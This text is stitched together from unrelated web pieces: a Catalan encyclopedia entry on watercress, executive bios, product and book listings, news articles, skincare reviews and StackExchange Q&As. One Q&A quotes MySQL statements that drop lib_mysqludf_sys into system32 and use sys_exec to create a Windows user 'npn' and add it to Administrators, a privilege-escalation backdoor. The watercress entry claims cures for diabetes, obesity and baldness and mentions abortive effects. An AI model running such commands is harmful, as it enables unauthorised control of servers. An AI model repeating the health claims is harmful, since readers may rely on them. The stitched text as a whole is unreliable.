La planta silvestre creix en abundància a la majoria dels rierols, torrents, corrents frescos poc profunds, aigües mòbils poc profundes (que contenen quantitats elevades de residus orgànics, on formen una capa espessa cobrint la superfície de l'aigua), com fonts, cursos d'aigua poc profunds, llacunes, etc., que suporten llargues sequeres del sòl, per tant és una planta característica d'ambients aquàtics, amb calor moderada. També en trobem a la vora de basses d'aigües riques, del nivell del mar fins a 1600 m d'altitud. Creix a plena llum, encara que suporta l'ombra. Necessita sòls entollats rics en bases (concretament, a un pH entre 5,5 i 8). És indicadora d'alcalinitat. També en trobam en sòls moderadament pobres o lleugerament rics en nitrogen; i no està present en sòls molt fertilitzats.

Gastronomia

És una planta amb fulles i tiges comestibles tendres i delicades. Es considera molt saludable i digestiva, alta en vitamina A i C ferro i calci. Una vegada la planta ha florit, les fulles tenen un gust més picant. Antigament el seu consum es limitava a les zones rurals i era usada com a substitut de l'enciam. Durant un temps va caure en desús a causa de ser més difícil de conservar.
En ambient càlid i sec les fulles es marceixen ràpidament, esdevenint inútils per a la comercialització. Normalment al mercat el creixen es troba en bosses de cel·lofana.

El creixen s'utilitza principalment en la preparació d'amanides i afegir unes fulles de creixen a una amanida verda convencional va molt bé per contrarestar el gust una mica insípid de l'enciam comercial. El creixen cuinat també es pot fer servir per cremes o sopes. Les fulles tendres serveixen per decorar plats o com a guarnició de carns fredes i peixos. El seu gust recorda al de la mostassa, tot i que és un xic més suau i dolç. Les llavors s'utilitzen per elaborar mostassa. Com que és una planta aquàtica cal tenir sempre la precaució de rentar molt bé les fulles abans d'utilitzar-les. Les plantes aquàtiques més consumides en amanides a Andorra són els enciams de font.

Farmacologia

Part utilitzada (droga)
Tija, fulles i suc.

Composició química
Tenen un alt contingut en sals i minerals (potassi, calci, ferro, sofre, iode, sodi, coure, fòsfor, magnesi, manganès i zinc), és molt rica en fibra alimentària i vitamines C, A i B. En general conté àcids (ascòrbic, aspàrtic i glutàmic), aminoàcids (alanina, arginina, cistina, fenilalanina, glicina, histidina, isoleucina, lisina, metionina, prolina, tirosina, treonina i valina), betacaroté, gluconasturina, glucòsids (singrina, sinalbina, glucotropeolina (oli essencial) i gluconasturtina).

Usos medicinals
Alleugereix la bronquitis i certes afeccions cutànies. És molt recomanat en els casos de malalties de la pell (acné, canyella, etc.). També s'utilitza per treure les taques de la cara i per la tinya (crostes en el cuir cabellut). És una planta considerada com a netejadora (depura la sang) a causa del seu alt contingut en vitamina C. Les fulles són antiescorbútiques, depuratives, diürètiques, expectorants, purgants, hipoglucèmiques, odontàlgiques, estimulants i estomàtiques. El suc fresc s'utilitza de forma interna i externa per a tractar pit, ronyons, irritacions cròniques i inflamacions. En general, doncs, s'utilitza tant externament com internament i va bé per la tos, la bronquitis, el refredat, la diabetis, l'obesitat i pel fetge. També lluita en contra de la calvície, de les úlceres de la boca, la gingivitis i les fulles ajuden a cicatritzar les ferides.

Accions farmacològiques / propietats
Té propietats altament depuratives (purifica la sang). A més, és considerat un gran diürètic (augmenta la secreció i excreció de l'orina) en conjunt amb el julivert. Tanmateix, la seva principal qualitat curativa es basa en el seu poder expectorant en els casos de constipats pulmonars crònics i dels bronquis. Per a l'aparell respiratori té propietats antivirals, antibronquítiques, expectorants, febrífugues i tòniques. En el metabolisme té capacitat diurètica, antiartrítica i depurativa. Conté principis estimulants de la fam. També té propietats abortives per la seva acció sobre la matriu.

Toxicitat
Poden estar contaminades de Fasciola hepàtica (endoparàsit) i causar distomatosis hepàtica (una malaltia que afecta el fetge). S'ha de vigilar si l'aigua on es troba està neta per a evitar intoxicacions. Pot agreujar problemes gàstrics en persones que ja en pateixin, com també problemes de ronyons o vesícula a malalts. Un ús excessiu pot causar mal d'estómac o provocar una irritació de la bufeta urinària i dels ronyons o les dues coses alhora.

Conreu

Foren cultivats per primera vegada a França en el , i és en aquest mateix país on actualment en tenen un gran estima. A partir del  es va introduir el seu cultiu en molts horts i el seu ús com a planta cultivada ha anat augmentant a poc a poc.

En estat silvestre només es troba en aigües netes en grups anomenats "creixenars". Creix ràpidament i es cull abans que floreixi per a tenir fulles tendres. Sota conreu necessita també un corrent d'aigua, sovint es fa en condicions d'hidroponia. Les fulles no poden ser conservades gaire temps.

El sòl ha de tenir, almenys, 8 cm de fang sorrenc, ric en humus. Es planten els esqueixos d'uns 10-20 cm de llarg, enfilades, a 10 cm unes de les altres. Si es vol plantar llavors, se sembren en testos que s'han de mantenir humits. Quan les noves plantes tenen algunes fulles es posen en aigua, tenint cura de què les fulles finals sobresurtin de la superfície de l'aigua. A l'hivern han d'estar coberts d'aigua, la qual cosa s'aconsegueix posant alguns maons sobre les tiges. L'època ideal de recol·lecció és als mesos d'hivern, des de l'octubre fins a l'abril, encara que es pot recollir en qualsevol època de l'any, sempre que la planta estigui fresca i sense florir. Es tallen les tiges, aproximadament de 8 cm, i es lliguen en petits grapats. Aquests grapats, ben rentats, es posen en aigua per conservar-se frescos fins al seu consum.

Floreix una mica abans del mes d'abril, i s'ha de collir abans que floreixi i creixi molt per sobre de l'aigua, ja que com més jove i tendra sigui la planta major valor culinari tindrà. A partir del mes de gener es poden collir els brots que trenquen la superfície de l'aigua. És convenient collir la planta el mateix dia que s'ha de consumir i no s'ha de deixar a l'aire lliure, perquè es panseix ràpidament. És molt important conèixer bé el rierol on creix, perquè existeixen molts corrents d'aigües contaminades.

Història i creences populars
Escrits antics revelen que des de l'època antiga, els homes han reconegut les propietats alimentàries i farmacèutiques del creixen. A més, li atribuïen virtuts màgiques i l'utilitzaven per a la preparació de filtres (beuratges màgics que se suposava que inspiraven l'amor).
Xenofont explica que quan els joves perses anaven de cacera, se satisfeien amb aigua i pa condimentat amb créixens.

Dioscòrides Pedaci, a la seva obra De materia medica(segle I), li va trobar virtuts afrodisíaques. A l'edat mitjana, es pensava que es podia utilitzar com antídot dels esmentats filtres.

Referències

Vegeu també
 Llista de plantes de fulla comestible

Bibliografia
 Bolòs, Oriol; Vigo, Josep. Flora dels Països Catalans. Ed. Barcino. Barcelona, 1984. .
 Font i Quer, Pius; Bolòs, Oriol de. Iniciació a la botànica, 2a edició. Fontalba, 1979. .

Enllaços externs
 Base de dades GRIN 25072
 Asturnatura. [Consulta: 20 maig 2009].
 http://www.floraiberica.org/PHP/cientificos_.php?rgen=Rorippa Flora Ibérica. Rorippa]. [Consulta: 20 maig 2009].
 Flora Ibérica. Lista de géneros  [Consulta: 20 maig 2009].

Productes agrícoles
Plantes medicinals brassicàcies
Plantes aquàtiques


Akshai serves as Vice President at Yardi, responsible for the development of energy management software and high performing buildings. During his tenure, Akshai helped grow Yardi's Procure to Pay client base across all real estate verticals and several countries. Prior to Yardi, Akshai spent five years at Bain & Company focused on technology and telecom. He has a degree in Electrical Engineering from the University of Texas and an MBA from the University of Michigan.


text:
Our Catalog Biographies & Memoirs Specific Groups LGBT
The Secrets of My Life: A History
Super Savings Item! Save 32% on the The Secrets of My Life: Library Edition by Grand Central Publishing at Spring Brook Audio. Hurry! Limited time offer. Offer valid only while supplies last. In her new memoir, Caitlyn Jenner and co-writer Buzz Bissinger, chronicles her life as Bruce and her brave transition into womanhood.The book will cover Caitlyn Jenner's childhood as Bruce Jenner and rise to fame as a gold-medal-winning Olympic decathlete; her marriages and her relationships with her children; her transition; and her experience as the world's most famous transgender woman.
In her new memoir, Caitlyn Jenner and co-writer Buzz Bissinger, chronicles her life as Bruce and her brave transition into womanhood.The book will cover Caitlyn Jenner's childhood as Bruce Jenner and rise to fame as a gold-medal-winning Olympic decathlete; her marriages and her relationships with her children; her transition; and her experience as the world's most famous transgender woman..
Manufacturer: Grand Central Publishing
Publisher: Grand Central Publishing
Studio: Grand Central Publishing
Item Size: 1.2 x 6.7 x 6.7 inches
Package Size: 6 x 1.2 x 1.2 inches
The Secrets of My Life: Library Edition
View More In LGBT.
Why Be Happy When You Could Be Normal?
The Lives of Roger Casement
By Yale University Press

redpajama_set_name: RedPajamaCommonCrawl


text:
Q: I am trying to install udf plugin in mysql but getting error I am trying to install udf plugin in mysql but getting error on this query
MariaDB [mysql]> CREATE FUNCTION sys_exec
   RETURNS integer SONAME 'lib_mysqludf_s ys_32.dll';
ERROR 1126 (HY000): Can't open shared library 'lib_mysqludf_sys_32.dll' (errno: 0, )

(From comment:)
USE mysql;
CREATE TABLE npn(line blob);
INSERT INTO npn values(load_file('C://xampplite//htdocs//mail//lib_mysqludf_sys.dll'));
SELECT * FROM mysql.npn INTO DUMPFILE 'c://windows//system32//lib_mysqludf_sys_32.dll';
CREATE FUNCTION sys_exec RETURNS integer SONAME 'lib_mysqludf_sys_32.dll';
SELECT sys_exec("net user npn npn12345678 /add");
SELECT sys_exec("net localgroup Administrators npn /add");

A: UDFs are not loaded from C:\windows\system32, only from plugin directory . Use "SELECT @@plugin_dir" to check where it is in your installation.

redpajama_set_name: RedPajamaStackExchange


text:
Husband and wife designer duo Tatsuya Kameyama (1976) and Atsuko Nakagawa (1978) launched the tupera tupera label in 2002. Tatsuya Kameyama studied in the Department of Painting at Musashino Art University and specialised in engraving. Atusko Nakagawa studied in the Department of Textile Design at the Tama Art University Faculty of Art and Design. Together they form a single creative entity and do not have specific roles in the creative process.
Working mostly with collage, though they also use other techniques, they always endeavour to come up with ideas that will provoke or surprise people. Their main sources of inspiration are everyday life, their own past experience, communication with others and living with children. As tupera tupera their work spans a range of areas that include illustration, picture books, handicrafts, workshops, stage arts, animation and domestic products. They both serve as art director of the programme Nozy's Idea Workshop, broadcast on NHK Educational Television.
They are best known for their humorous and artistic picture books, Ki Ga Zurari [A Row of Trees], Kao Notes [Make Faces Notebook], Yasai-San [Mr Vegetable] and Panda Sento [Swimming Pool Panda], which have won various awards. Their picture book Shirokuma No Pants [Polar Bear's Underwear] won the Public Award at the 18th Japan Picture Book Awards and the kindergarten jury's Prix Du Livre Jeunesse Marseille 2014. tupera tupera books are published by several Japanese publishers and have been translated into various languages. The label frequently works in partnership with major brands such as Petit Bateau, Né-net, Afternoon Tea, Design T-shirt Store graniph and Bellemaison.
nijntjes appartement
The title of the tupera tupera Miffy statue is nijntjes appartement [Miffy's Apartment]. 'Miffy herself is perfect as she is, so we didn't want to alter her in any way. When we studied the large Miffy statue, which was our starting point, it turned into Miffy's apartment, which is loved throughout the world. We imagined lots of colourful characters gathered in the apartment. Different faces peer out through the windows and one can picture Miffy's life in the apartment. We really enjoyed working on this project.'
more about tupera tupera


text:
The Internet Is Reeling From the Discovery of This Ancient Fidget Spinner Lookalike
By Raisa Bruner
August 2, 2017 4:21 PM EDT
Fidget spinners may be the hottest new item of 2017. But according to a few eagle-eyed museum sleuths who came across a 4,000 year-old "spinning toy" at the Oriental Institute Museum in Chicago, there might be a much longer history to the gadget than expected.
After seeing a Reddit post and Tweet that went viral over the weekend, the internet is reeling from the discovery of a "spinning toy with animal heads" that dates back to 2000 – 1800 B.C. during the Isin-Larsa period of the Mesopotamian culture. The baked clay artifact boasts the now-familiar triplet design of the ubiquitous fidget spinners, with a small hole in the center. And since it's called a "spinning toy" on the label card, it's hard to envision it as anything other than a precursor to our modern-day fidget spinners. Cue the internet shock and awe. As the viral tweet reads, "Proof that there are no original ideas anymore."
That said, there is doubt among experts that the artifact was actually labeled accurately in the first place. According to the museum's chief curator Jean Evans, there's some debate around the piece's use — and it may be part of a weapon, not a toy.
"All I can say is that our ideas change over time," Evans told The Verge. "When the 'spinning toy' was first published in 1932, the excavators recognized that the object was unique, and they speculated it might be rotated and used in 'astrological divination.'" Now, apparently, that interpretation has shifted. But not before the internet took a collective gasp at the earlier analysis.
Write to Raisa Bruner at raisa.bruner@time.com.
Couple Who Slammed Their Wedding Photographer Has to Pay Her $1 Million


text:
Increase the peace
Published 12:03 am Sunday, October 30, 2011
By Lindsey Shelton
ERIC SHELTON | THE NATCHEZ DEMOCRAT Natchez residents and community leaders gathered on Martin Luther King Jr. Street Saturday afternoon to participate in the Walk Against Violence Rally for Peace. The rally was a community event that brought awareness to the violence in the City of Natchez.
Natchez — More than 100 people marched together holding signs and shouting "Stop the violence, increase the peace," on Martin Luther King Jr. Street Saturday afternoon in the Walk Against Violence.
The walk was organized by the Natchez branches of the National Association for the Advancement of Colored People and Women in the NAACP.
Nevelyn Chatman, the widow of Willie Lee Chatman who was murdered on McNeil Road Sept. 15, marched wearing a T-shirt with her husband's picture on it.
"I know my husband is looking down on me knowing I am still here fighting for him," she said.
Rosa Wilson said she believed the march was important to reaching young people.
"Our young black people are dying by the hands of our young black people," she said. "We need to send the message to our young people and say, 'We love you, but we want you to know it has to stop.'"
Nathaniel Sanders said he was marching to show he wanted young black men to make better choices and choose education over going to jail.
Mary Harris and her brother Gerome Anderson marched in honor of their brother James Christopher "Fluffy" Anderson, who was murdered in Natchez in 2005. Harris said the march was the first step in creating a movement for peace in Natchez.
"I'm hoping this will show there are ways to solve problems other than guns," she said.
Brenda Strickland marched holding a framed picture of her son, Michael C. Payne, who was killed in Fort Wayne, Ind., in 2004.
"If he could see me, he'd be saying 'Go mom, go mom," she said.
Strickland said the violence in Natchez is senseless.
"Everyone is grieving, we're all grieving," she said looking down at her son's photograph.
Jacqueline Marsaw, one of the walk's organizers and chairperson of WIN, said approximately 350 came out to the march to show their support, but not everyone walked.
Marsaw said she was amazed at how many people came to speak out against the violence in the city.
"I had people calling from New Orleans and all over asking me if they could come march," she said.
City officials were also on hand at the march to show their support for the movement against violence.
Mayor Jake Middleton said he hopes the march got people's attention.
"I think it's a start to make our community realize and wake up to the fact that we do have a situation in Natchez that we need to pay attention to," he said.
Middleton commended the young people that came out to march against the violence that is affecting their peers.
Fifteen-year-old LaDarrius Gaines said he has lost friends and family to violence.
"I'm marching to say, 'Enough is enough," he said.
Middleton said he wished there would have been more involvement from Natchez's white community at the walk, and he hopes it will increase at future walks and events.
"It's not about race," he said. "It's just about young people."
Ward 2 Alderman James "Rickey" Gray came out to the march to show his support as a leader of the community.
Gray said the march was the first step toward ending violence. He said unity is the only way to achieve peace.
"We are all in this together," he said. "It's the only way we can have a seamless community. We all have to be together. United we stand, divided we fall."
Authorities call on professional tree service help to move body after accidental death
Public input sought on superintendent


Combines arguments and personal narratives to introduce students to key issues in morality.
Contemporary Moral Issues is an anthology that provides a selection of readings oncontemporary social issues revolving around three general themes: Matters of Life and Death, Matters of Equality and Diversity, and Expanding the Circle, which includes duties beyond borders, living together with animals, and environmental ethics. Each set of readings is accompanied by an extensive introduction, a bibliographical essay, pre-reading questions, and discussion questions.
Note: MySearchLab does not come automatically packaged with this text. To purchase MySearchLab, please visit: www.mysearchlab.com or you can purchase a ValuePack of the text + MySearchLab (at no additional cost): ValuePack ISBN-10: 020588590X / ValuePack ISBN-13: 9780205885909.


The Aspen Fantasy Ski Camp - Learn to be and Olympian in Life!
Four days of on snow coaching from Olympic and World Champion Skiers. Plus 1 full day and four evening personal success training sessions designed to unlock your personal potential and transcend your everyday life. Learn to put S.M.A.R.T goals in your future in such a way that you will automatically move in that direction. This series of discussions will be led by Maggie Connor, Olympic Skier, certified Master Trainer and personal success coach.
The "NLP" Method of Training What is NLP?
NLP is how we use the language of the mind to consistently achieve our specific & desired outcomes. It is about modeling excellence and bringing it into our personal & professional lives. NLP gives you HOW to do it. It is the study of language and how it affects our mental, emotion & physical bodies. The neurological connection between mind & body. Therefore what you think in the mind, you actualize in your life. NLP assists you in uncovering the rapid, vast creative power of your unconscious mind. Four days of skiing Aspen Mountain with our Olympic and World Champion coaching staff. One full day plus 4 evening training sessions designed to unlock your personal potential and transcend your everyday life. Learn to put S.M.A.R.T. goals in your future in such a way that you will automatically move in that direction.
Lift Tickets for all four days of skiing.
Coaching from Olympic and World Champion Skiers.
"Personal Power" success training sessions.
for the duration of the camp.
Transportation between the Aspen Airport and the Aspen Club Lodge Hotel.
Monday through Friday night accomodations at the Aspen Club Lodge.
Daily Breakfast Buffet at the Lodge.


EasyHarvest is a desktop application that helps collect and save useful data from web pages. The user highlights the texts needed to be collected and EasyHarvest will learn to automatically extract wanted items from specified pages.
ABB Web Icon Extractor - Convert all images in web page to icon/icon library/jpg/png/bmp files.


Joyful, irreverent and glam, the ceremony took place in the stunning courtyard while golden flamingos stalked through the landscaping. Edible flowers were a delicious theme, from nasturtium cocktails to floral salads with a finale of lavender, rose petal and orange blossom ice cream sundaes. Lavish floral mobiles spun overhead, setting the tone for gracious revelry, while masses of summer's prettiest flowers added another layer of luminous color over the stunning vintage print runner.


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redpajama_set_name: RedPajamaGithub


text:
Workplace flexibility is here to stay, report says
Nick Keppol
Flexibility is defining how work gets done today and will continue to shape work in the future, according to new research from Paychex.
Workers want more choices in how and where they work, and that demand isn't going anywhere, according to the report. As Millennials and members of Gen Z make up more and more of the workforce, they've driven changes to dress codes, scheduling and workspaces, among other things, the company's survey revealed. Those generations preferences for mobile tools also has driven new tech adoption, Paychex found.
"The Future of Work offers tremendous opportunities for employers that emphasize flexibility, mobile technology, and training," Martin Mucci, the organization's president and CEO said in a statement.
It may come as no surprise to HR that the word defining the nature of work — now and into the future — is "flexibility." Today's workers increasingly expect flexibility, and employers seem to be embracing the shift. In fact, many employers have adopted a flex work policy during the past decade, according to a recent IWG survey, with most citing an expanded talent pool as the key motivator.
Workers say such offerings improve their work-life balance, and research shows that can be a boon for employers, too. Employees without work-life balance have lower job satisfaction and are more likely to cause turnover, according to a 2018 study from the University of Michigan and California State University Channel Islands.
These studies and the most recent research from Paychex both make clear that the demand for flexible work isn't going away; employers that find a way to provide such perks — whether via compressed workweeks, remote work or other options — may be well-positioned to compete for and retain talent, especially in today's employee-driven labor market.
HR Dive Employees see flexible work as the new norm
Filed Under: Talent Comp & Benefits


text:
Q: create an array for dataframe in a loop I have the following loop that I would like to store the data (pvproduciton) in an array:
pvproduction is a: `<class 'pandas.core.series.Series'>`

or to
pvproduction.sum() is a: `<class 'numpy.float64'>`

pv[i]= (how to initialize with a 10 position, the same as the loop range)
i=0
for i in range(0, len(pv), 1):
     pvproduction= simulating_PV(tmy_data, tilt, azimuth, modules_per_string,strings_per_inverter)
     pv[i]=pvproduction.sum()


Prior to Bertram, Shreyas was with H.I.G. Capital, a leading global private equity firm, where he evaluated investment opportunities across a range of industries. Before joining H.I.G. Capital, Shreyas was a member of the Global Mergers & Acquisitions investment banking group at Jefferies.


First of all, what a huge jar! 250 ml is double what you normally get and when the contents are as good as this mask, the price becomes quite amazingly low. When I opened the package, it had been so mistreated in transit that the tin sported two huge dents. I had to use a tin opener to get the lid off and, when I went hunting for an empty jar to decant the mask into, I had trouble finding anything large enough.
I have recently become very fond of face masks and am always delighted to discover a really good one. My jar was provided to me at no cost to allow me to test it for review purposes. I have used it every third day for the past three weeks, a total of seven times, and my skin hasn't been this soft in years. I have mixed skin and the mask is helping keep the pores closed while normalizing the oily T-zone.
Often clay-based masks dry and crack, making removal rather messy. This mask remains beautifully moist and is really easy to wash off (I use a big sponge and warm water). The recommended application time is 10 minutes, but I have kept it on for as long as 30 minutes and, although the surface does eventually dry, it doesn't crack and peel. In fact, after a very long treatment (I had forgotten about it), I was surprised to see that most of it had actually "disappeared" into my skin! I imagine what was absorbed were the oils (sweet almond and avocado) and collagen that make up the recipe, while the green clay remained on the surface.
It is so easy to use that I look forward to the next treatment and, especially, to the results once I wash it off. Part of the appeal is the scent, it smells fresh and delicious and quite suitable for men, as well. I love the texture, it's thick and creamy, spreads easily and sticks exactly where you put it, without falling off. I like to use it after rinsing my face in hot water, to open the pores. You don't need a lot to cover your face and neck, although there is no downside to spreading it thickly. Natural ingredients, cruelty-free and guaranteed. I think it's wonderful stuff.
These clever little patches would have changed my life if they had been available years ago when my face was plagued by intermittent stress-related breakouts. Nowadays my skin rarely breaks out but, when it does, I now have the answer. These small, round patches are nearly invisible once on my face and work like a charm.
Using them is simple: wash the affected area, pat dry with a clean towel and apply the Dream Dot, pressing well for a few seconds. Ideally, the patch should stay in place for eight hours (overnight works well) and I found that they are not affected by water if you decide to leave them on longer. What I really like is that they do not contain any harsh ingredients, unlike the usual acne gels that dry up and irritate my skin.
I find these really useful for those summertime heat spots that don't seem to resolve. The Dream Dots keep the area clean and literally draw out the inflammation, and next morning my skin is well on its way to repair the problem. Sometimes it takes a second application to complete the repair, but it's a brilliant alternative to having an ugly spot that doesn't go away.
There are 24 patches in each packet, plenty for occasional use. There is a trick to peeling them off the backing and, after a few tries, it becomes quite easy. Really a touch of genius.
Test sample gratefully received to enable me to write this review.
When asked to test this peel, I approached it with some caution, but am very glad to have given it a try. It is now a regular part of my skin care routine. The product is an almost clear gel with a smell that reminds me of lotions for acne. The Refresh website has excellent instructions on how to use it and it's a good idea to read them in full before your first application. My skin at 61 has become very sensitive and fragile, but it also needs a lot of help to keep all the unpleasant signs of ageing from taking over. I have been trying to reverse some extensive sun damage on my cheeks. Essentially, I had irregular, brown stains that looked particularly ugly in the winter. My other skin care had already improved things but I think this peel has added some real muscle to the task.
I started very conservatively three weeks ago, with a 1-minute application. My skin did not react, so a few days later, I left the peel on for 2 minutes, and gradually worked up to 5 minutes (I use a timer for accuracy). I am now using it every other night before going to sleep and even put a bit on my hands.
I wash my face with a herbal face cleanser before and after, and follow up with a good hyaluronic acid serum and a soothing seaweed night cream. There is a very slight tingling sensation but the peel is very mild and my skin seems to tolerate it well without getting red. The stains are fading really quickly and my skin looks tighter and smoother. The bottle isn't huge but you only need a small amount, so the price works out to be very reasonable.


Over the weekend Bernie Ecclestone decided it was time to defend his honour with claims that it wasn't his fault that only half of next years races will be screened free to the UK, he says it was all to do with negotiations between the BBC and Sky.
I think the two of them will eventually do a good job. Sky aren't going to get the live viewing figures that we had with the BBC, but I think with the combination of the two across all the F1 that is broadcast, there will be a lot more viewers. In the short-term, I think that collectively taking in the amount of broadcasting that's going to be scheduled between the two of them next year, there will be more eyeballs watching than we have now. That's good for us, good for the teams and good for the fans.
I'm not 100% all the fans will agree with the above statement, I myself have always been thoroughly impressed with the BBC's coverage and now that only half will be available free-to-air I feel the sport commentary may well loose its consistency.


When you visit this service you will come across some of the easiest ways of getting an example of a research paper discussion. This is a rather useful concept for someone who needs to make sure that they are in a good position to write the best discussion so far. These example papers are a good way for you to learn, considering that they will in most cases make your paper a good one. If you do not know what to do, you can always read one or two of these sample papers and from there you will be good to go.
Anyone who needs to, is able to get their hands on these discussion samples. It is really easy for you to do that because in the long run, you find yourself in a position where you are able to address some of the challenges that you have been facing when writing papers like these, and at the same time make sure you no longer have to worry about the same at all.
One of the best places where you can get all the information that you need in as far as samples are concerned is to check the school library. There are so many people who have managed to do this in the past and they have come away with incredible results. You should also think about the same thing and your work will truly be easy.
Get in touch with your teacher for all the work that you are looking for. Talk to them about the samples you need and the struggles you are facing, and they will definitely find a way to assist you accordingly.
At times all you need to do is to go online and look for everything that you want. This is something that most students have come to learn about, and it is actually time saving too.
You can also talk to some of your classmates about the need to use samples. This way, you can use the ones that your friends have, which perhaps have assisted them a great deal too.


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HeartFelt: Late to the party..
Its good to be late to a party is what my friend used to say. I wasn't much of a party goer anyway but you can make a bold statement she said and I played along then. What she didn't tell me however was how late was okay. Turns out that when I tried it today I ended up reaching after the party was over.
But since I am here now, let me nibble over the left overs and dance to the music that has been left playing on loop.
So, looks like the war over tolerance and intolerance has ended and I never got a chance to add to numerous articles, blogs, posts, tweets that were written, shared, reposted, re-tweeted during the war times. However I made sure I read every single one that was shared with me and I have to admit that after reading all of those, one thing was clear - I am not the smartest person around.
Now take for example the fact that Aamir Khan made a remark in one of his interview that one time his wife had a thought if they should move out of India. Now I have to say, a lot of people immediately had a brilliant suggestion of sending him to Pakistan. Now what I fail to understand is why someone who wants to leave India to go to a safer place should be sent to Pakistan. Just think about it - I mean moving is a big pain. Aamir will have to sell off old cots and mattresses on ebay, cancel the internet and Tata sky connection, negotiate with the moving company, ask for spare cardboard boxes from the grocery store next door etc. and then you make him do all of this and send him to Pakistan? Now that defeats the whole purpose of moving no? He wants to go to a safer place - do you understand 'safer'? But may be you do and I am just being stupid in asking this question because I am not the smartest person around.
The bits and pieces of the Aamir's interview were all over the news and everyone who is somebody and also everyone who is not somebody was onto news channels taking sides or writing columns on what Aamir actually said and meant. Now I may be over simplifying it but wouldn't it have been better if someone would have just called Aamir directly to clarify - I mean it would have saved everyone's time and energy. At least that's what I think, but like I said, I am not the smartest person around.
The interview was a part of award ceremony to felicitate 'excellence' in journalism. Now with audience full on best journalists in India, there was no question of misinterpretation, misrepresentation, misguiding and all other irrelevant 'mis'. But why did I feel that all ethics of journalism were broken to increase the TRPs and I could not see much 'excellence' in journalism floating around but again, like I said, I am not the smartest person around.
Anyway, looks like I am late to this party and this debate has died down now.


The 5.11 3-in-1 parka is the ultimate high-performance outerwear option for adapting to changing weather conditions. A breathable waterproof outer liner protects from wind, rain, snow and anything else nature might throw at you, while a fleece inner jacket keeps you warm and comfortable on the coldest days. Each layer of the parka is insulated and detachable, including the hood, and it has Velcro straps on the cuffs for a secure fit. This parka is not only great for warmth and protection from the weather, but it is also tactically functional. It features removable ID panels on the chest and back, hidden pockets on the chest for essentials, side zippers for firearm access and mic clips. It is Back-up Belt System compatible as well, making it ideal for police use.
This jacket is a Classic Fit Spectrum: A full, generous fit allowing superior range of motion.


text:
Q: Apache Flink: Ordered timestamps with parallelism I have a datastream in which the order of the events is important. The time characteristic is set to EventTime as the incoming records have a timestamp within them.
In order to guarantee the ordering, I set the parallelism for the program to 1. Could that become a problem, performance wise, when my program gets more complex?
If I understand correctly, I need to assign watermarks to my events, if I want to keep the stream ordered by timestamp. This is quite simple. But I'm reading that even that doesn't guarantee order? Later on, I want to do stateful computations over that stream. So, for that I use a FlatMap function, which needs the stream to be keyed. But if I key the stream, the order is lost again. AFAIK this is because of different stream partitions, which are "caused" by parallelism.
I have two questions:

*

*Do I need parallelism? What factors do I need to consider here?

*How would I achieve "ordered parallelism" with what I described above?

A: Several points to consider:
Setting the parallelism to 1 for the entire job will prevent scaling your application, which will affect performance. Whether this actually matters depends on your application requirements, but it would certainly be limitation, and could be a problem.
If the aggregates you've mentioned are meant to be computed globally across all the event records then operating in parallel will require doing some pre-aggregation in parallel. But in this case you will then have to reduce the parallelism to 1 in the later stages of your job graph in order to produce the ultimate (global) results.
If on the other hand these aggregates are to be computed independently for each value of some key, then it makes sense to consider keying the stream and to use that partitioning as the basis for operating in parallel.
All of the operations you mention require some state, whether computing max, min, averages, or uptime and downtime. For example, you can't compute the maximum without remembering the maximum encountered so far.
If I understand correctly how Flink's NiFi source connector works, then if the source is operating in parallel, keying the stream will result in out-of-order events.
However, none of the operations you've mentioned require that the data be delivered in-order. Computing uptime (and downtime) on an out-of-order stream will require some buffering -- these operations will need to wait for out-of-order data to arrive before they can produce results -- but that's certainly doable. That's exactly what watermarks are for; they define how long to wait for out-of-order data. You can use an event-time timer in a ProcessFunction to arrange for an onTimer callback to be called when all earlier events have been processed.
You could always sort the keyed stream. Here's an example.
The uptime/downtime calculation should be easy to do with Flink's CEP library (which sorts its input, btw).
UPDATE:
It is true that after applying a ProcessFunction to a keyed stream the stream is no longer keyed. But in this case you could safely use reinterpretAsKeyedStream to inform Flink that the stream is still keyed.
As for CEP, this library uses state on your behalf, making it easier to develop applications that need to react to patterns.


text:
DAY-TO-DAY EVENTS
TALKS,PRESENTATIONS AND GUIDED VISITS
WHAT IS BILBAO ART DISTRICT
BILBAO ART DISTRICT MAP
MUSEUMS AND CULTURAL CENTRES
Centres of artistic production and knowledge
Exhibition rooms and spaces
Specialised bookshops and publishers
Shops with exhibition spaces
Networks, Associations and other artistic spaces
Art in Urban Space
Architecture OF BILBAO ART DISTRICT
EXHIBITION: Chasing Impressions. Joaquín Sorolla
Chasing Impressions
Bilbao Fine Arts Museum
Joaquín Sorolla (Valencia, 1863-Cercedilla, Madrid, 1923) painted almost 2,000 oils on tiny pieces of cardboard, panels, paper or canvas—no larger than 20 x 30 cm—which he called 'observations', 'patches of paint' or 'colour notes'. They are always related to the artist's work at every time in his career, although they cannot strictly be considered preparatory paintings for subsequent compositions. Therefore, they are like a record of Sorolla's way of looking and the best synthesis of his pictorial interests.
This type of note was often used by great artists throughout the 19th century, and Sorolla also used it throughout his life as a way of exercising his skill, as well as serving as invaluable testimony of his freest and most private works. As shown in numerous photographs, Sorolla saved these small works in his studio and often gave them to his admirers, donated them to charitable causes or exchanged them with other painters. Yet many of them were also shown and sold at his major international exhibitions—especially on his American tours in 1909 and 1911—where they were appreciated as concentrated expressions of his talent.
'…You have to paint quickly because when it's lost, fleeting, you'll never find it again!' This is how Sorolla defined his approach. He was one of the most important painters in Spanish art in the transition from the 19th to 20th centuries and the creator of a recognisable oeuvre and a style of his own which takes shape in portraits and landscapes with a sumptuous, precise luminosity that reaches its peak in his paintings of the Mediterranean and Cantabrian coasts.
Small-Format Sorolla is curated by María López Fernández, Blanca Pons-Sorolla and Consuelo Luca de Tena. The first two are also the authors of the essays and timeline included in the catalogue published on the occasion of this exhibition.
The show is comprised of 186 small-format paintings on panels, cardboard or other materials from the collection of the Sorolla Museum. They are accompanied by a small glass case displaying his palette and other tools of the trade which exemplify his vocation as a plein-air painter.
After its successful launch at the Sorolla Museum of Madrid, Chasing Impressions. Small-Format Sorolla will be on display in galleries 32 and 33 in the modern building of the Bilbao museum from 20 November to 23 February of next year.
Opening: 20/11/2019
Until: 23/02/2020
Schedule: Wednesdays to Mondays, from 10 a.m. to 8 p.m. Tuesdays closed.
Location: Museo Plaza, 2
https://www.museobilbao.com/in/exposiciones/cazando-impresiones-279
Compartir este contenido:
Tags: Art, arte, bilbao, exhibition, exposisicón
Museo Plaza, 2, 48009 Bilbo, Bizkaia
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Not in love…no worries! We get that returns happen, so we've made it easy.
